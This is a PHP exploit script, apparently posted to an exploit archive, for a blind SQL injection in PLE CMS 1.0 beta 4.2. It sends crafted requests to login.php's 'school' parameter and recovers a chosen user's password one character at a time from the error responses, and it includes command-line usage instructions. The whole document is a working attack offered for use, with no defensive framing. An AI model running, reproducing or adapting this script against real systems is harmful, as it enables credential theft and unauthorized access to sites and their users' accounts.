PLE CMS 1.0 Beta 4.2 SQL Injection

`--+++==============================================================+++--  
--+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++--  
--+++==============================================================+++--  
  
<?php  
  
function query ($user, $pos, $chr)  
{  
$query = "123 OR ASCII(SUBSTRING((SELECT password FROM users WHERE userID = '{$user}'),{$pos},1))={$chr}";  
$query = str_replace (" ", "%20", $query);  
$query = str_replace ("'", "%27", $query);  
return $query;  
}  
  
function exploit ($hostname, $path, $user, $pos, $chr)  
{  
$chr = ord ($chr);  
$fp = fsockopen ($hostname, 80);  
  
$get = "GET {$path}/login.php?school=" . query ($user, $pos, $chr) . " HTTP/1.1\r\n".  
"Host: {$hostname}\r\n".  
"Connection: Close\r\n\r\n";  
  
fputs ($fp, $get);  
  
while (!feof ($fp))  
$x .= fgets ($fp, 1024);  
  
  
fclose ($fp);  
  
if (preg_match ("/ERROR: School not found!/", $x))  
return false;  
else  
return true;  
}  
  
function usage ()  
{  
exit (  
"\nPLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit".  
"\n[+] Author: darkjoker".  
"\n[+] Site : http://darkjoker.net23.net".  
"\n[+] Download: http://kent.dl.sourceforge.net/sourceforge/plecms/plecms_beta4_2.zip".  
"\n[+] Usage : php xpl.php <hostname> <path> <username> <key>".  
"\n[+] Ex. : php xpl.php localhost /PLECMS root abcdefghijklmnopqrstuvwxyz0123456789".  
"\n\n");  
}  
  
if ($argc < 4)  
usage ();  
  
$hostname = $argv [1];  
$path = $argv [2];  
$user = $argv [3];  
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4];  
$chr = 0;  
$pos = 1;  
  
print "\n[+] Password: ";  
  
while ($chr < strlen ($key))  
{  
if (exploit ($hostname, $path, $user, $pos, $key [$chr]))  
{  
echo $key [$chr];  
$chr = 0;  
$pos++;  
}  
else  
$chr++;  
}  
  
print "\n\n";  
  
`